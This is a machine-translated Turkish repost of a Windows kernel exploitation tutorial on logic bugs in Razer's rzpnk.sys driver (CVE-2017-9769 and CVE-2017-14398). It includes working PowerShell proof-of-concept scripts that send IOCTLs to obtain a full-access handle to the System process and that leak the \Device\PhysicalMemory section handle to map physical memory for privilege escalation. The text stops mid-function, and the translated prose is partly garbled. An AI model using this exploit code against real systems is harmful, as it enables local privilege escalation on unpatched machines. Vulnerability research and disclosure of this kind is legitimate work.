<div><font color="White"><b><div align="center">Bölüm 19: Kernel Exploitation -> Razer rzpnk.sys'deki mantık hataları

Merhaba Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Bugün biraz farklı bir şeye bakacağız. Bir süre önce @zeroSteiner, Razer Synapse tarafından kullanılan bir sürücü olan rzpnk.sys'de (CVE-2017-9770 ve CVE-2017-9769) iki hata buldu. Bir süre sonra hatalara bakmaya karar verdim ve ... Yerel ayrıcalık artışına yol açan başka bir mantık hatası buldum (CVE-2017-14398)


Bu yazıda CVE-2017-9769'u kısaca göstereceğiz ve ardından bulduğum hata olan CVE-2017-14398 için tam bir istismar yapacağız. Başlamadan önce buradan
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - buradan
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - buradan


Savaş Alanını Tuzlamak


Takılıp kalmadan önce, arama grafiğinde savunmasız işlevlerin ne kadar yakın olduğunu hızlıca göstermek istedim. Sevk işlevinde tam anlamıyla komşudurlar.







Bir noktaya kadar bu çağrılara yol açan dal paylaşılır, o zaman IOCTL'den 10 hex değerinin çıkarıldığını görebiliriz ve sonuç sıfırsa ZwOpenProcess çağrısına atlarız, kalan 14 hex ise o zaman atlarız bunun yerine ZwMapViewOfSection çağrısına.

Ayrıca, sürücünün giriş ve çıkış tamponunun uzunluğunu kontrol edeceğine ve yetersiz miktarda giriş parametresi sağlanırsa veya çıktı tamponunun yeterince büyük olmaması durumunda bir hata durumuna dallanacağına dikkat edin.


ZwOpenProcess POC (CVE-2017-9769)


CallGraph






Bir tutuş veya şey alın ıııı .. bir tutamak!


Bu işleve çok fazla zaman harcamayacağız, ancak güvenlik açığı kanıtlanacak kadar kolay. Fonksiyonun girdi parametreleri olarak iki QWORD'a ihtiyaç duyduğunu biliyoruz ve Spencer'ın açıklarından QWORDS olarak bir pid ve bir boş paketlediğini görebiliriz. Aşağıdaki POC ile bunu hızla çoğaltabiliriz.



Kod:

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
}
"@

#----------------[Get Driver Handle]

$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}

#----------------[Prepare buffer & Send IOCTL]

# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
[System.BitConverter]::GetBytes([Int64]0x0) # 0x0000000000000000
)

# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)

# Ptr receiving output byte count
$IntRet = 0

#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}

#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))


POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.







Sürücü tarafından döndürülen iki QWORD'a bakarsak, ilkinin geçtiğimiz PID ve ikincisinin bir tutamaç olduğunu görebiliriz. PowerShell işlemimizde döndürülen tutamaca baktığımızda aşağıdakileri görüyoruz.







Bu oyun hemen hemen bitiyor, System pid'e tam erişim hakkımız var, yani bu işlem alanındaki herhangi bir bellekten okuyup yazabiliriz. Spencer'ın bundan yararlanma şekli (1) winlogon'u ele almak, (2) shellcode yürütmek için user32! LockWorkStation'ı bağlamak, (3) kullanıcının oturumunu kilitlemek, (4) kar!



ZwMapViewOfSection'ı Kötüye Kullanma (CVE-2017-14398)


İyi şeylere ulaşma zamanı! Bu hata türü hakkında daha fazla bilgi edinmek için @ rwfpl'nin ntiolib / winio'dan yararlanma konusundaki gönderisine göz atmanızı şiddetle tavsiye ederim.


CallGraph







İşlev Bağımsız Değişkenleri


İlk ekran görüntüsünden, fonksiyonun girdi olarak 30 onaltılık boyut (6 QWORD) beklediğini ve ayrıca 30 onaltılık çıktı döndürdüğünü unutmayın. Savunmasız işleve ulaşmak için hızla bir POC oluşturabiliriz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
}
"@

#----------------[Get Driver Handle]

$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}

#----------------[Prepare buffer & Send IOCTL]

# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
[System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
[System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
[System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
[System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
[System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)

# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)

# Ptr receiving output byte count
$IntRet = 0

#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}

#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))


Herhangi bir hata ayıklama yapmadan önce, PIC'nizi çalıştırabilir ve sürücünün ne döndürdüğünü görebiliriz.







Harika, giriş parametrelerimize ek olarak, 0 döndüren bir Int64 ve bir NTSTATUS kodu döndüren düşük sıralı bir DWORD görebiliriz. Bu durumda ZwMapViewOfSection, STATUS_INVALID_HANDLE döndürür, bu mantıklıdır çünkü ilk parametre olarak bir bölüm tutamacını beklemektedir ve biz onu biraz önemsiz besledik. Burada güzel bir yan etki, NTSTATUS kodunu 0x0 (STATUS_SUCCESS) ile karşılaştırarak çağrımızın başarılı olup olmadığını anlayabilmemizdir.


Grafikten bazı statik parametrelerin ne olduğunu zaten söyleyebiliriz, ancak tüm şüpheleri gidermek için ZwMapViewOfSection çağrısında bir kesme noktası belirleyebilir ve kayıtları + yığınını inceleyebiliriz. ZwMapViewOfSection stdcall çağrı kuralını kullanıyor, bu nedenle argümanlar sırasıyla RCX, RDX, R8, R9 ve yığın içinde saklanacaktır.







Bunu girdi parametrelerimizle bir araya getirdiğimizde aşağıdakileri elde ederiz.



Kod:

NTSTATUS ZwMapViewOfSection(
_In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
_In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
_Inout_ P**** *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
_In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
_In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
_Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
_In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
_In_ ULONG Al********Type, | 0 -> Un********ed?
_In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
);


Burada kontrol ettiğimiz şeylerin çoğu çok açık. Süreç idaresi için, PowerShell'e tam bir erişim tutamacına geçmemiz ve boyut / görünüm boyutunu kesinleştirmemiz sadece sürecimize ne kadar haritalandırdığımızdır. Soru, bir bölüm işleyicisini nereden alacağımızdır, sürücünün ZwCreateSection veya ZwOpenSection'ı çağırmamıza izin veren herhangi bir işlevi yoktur.


Fiziksel Bellek Sızıntısı


Bu noktada bir bölüm tanıtıcısı oluşturamadığım için istismarın öldüğünden biraz endişeliydim. Neyse ki @AIONescu bana biraz anlam kattı. SystemHandleInformation sınıfı ile NtQuerySystemInformation kullanarak, sistemdeki süreçler tarafından açılan tüm tutamaçları sızdırabiliriz. Bu tutamaçlar her işlem için kullanıcı alanı tutamaçlarıdır, ancak Sistem işlemi (PID = 4) özel bir durum olarak kullanıcı alanını bir çekirdek tutamacına dönüştürmemize izin verir!


Bunu neden önemsiyoruz? Sistemin "\ Device \ PhysicalMemory" için bir tutamacı vardır, eğer bu tanıtıcıyı sızdırabilirsek, ZwMapViewOfSection'ın fiziksel belleği PowerShell sürecimize doğrudan eşleştirmesini sağlayabiliriz!







Bu işlemle ilgilenmek için bir powershell işlevi yazdım. İşlem tarafından açılan tutamaçların türünü belirlemek için statik tutamaç sabitlerini kullanır. Bunu yakın zamanda güncelledim, böylece Win7'den Win10RS2'ye kadar çalışıyor. Get-Handles, GitHub'daki PSKernel-Primitives depomun bir parçası, PowerShell ile çekirdeği pwn yapmak istiyorsanız kontrol edin!







Çekirdek tanıtıcısını almak için tek yapmamız gereken, 0x204'e statik bir değer eklemektir (64-bit için 0xffffffff80000000 ve 32-bit için 0x80000000). Bunu dinamik olarak aşağıdaki şekilde yapabiliriz.



Kod:
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000


Artık yeni bir POC oluşturabilir ve tüm eksik bitleri doldurabiliriz. Test amacıyla 1 MB fiziksel belleği PowerShell ile eşlemeye çalışacağız.



<div style="margin:20px; margin-top:5px"> Kod:

function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@

#----------------[Helper Funcs]
function Get-Handles {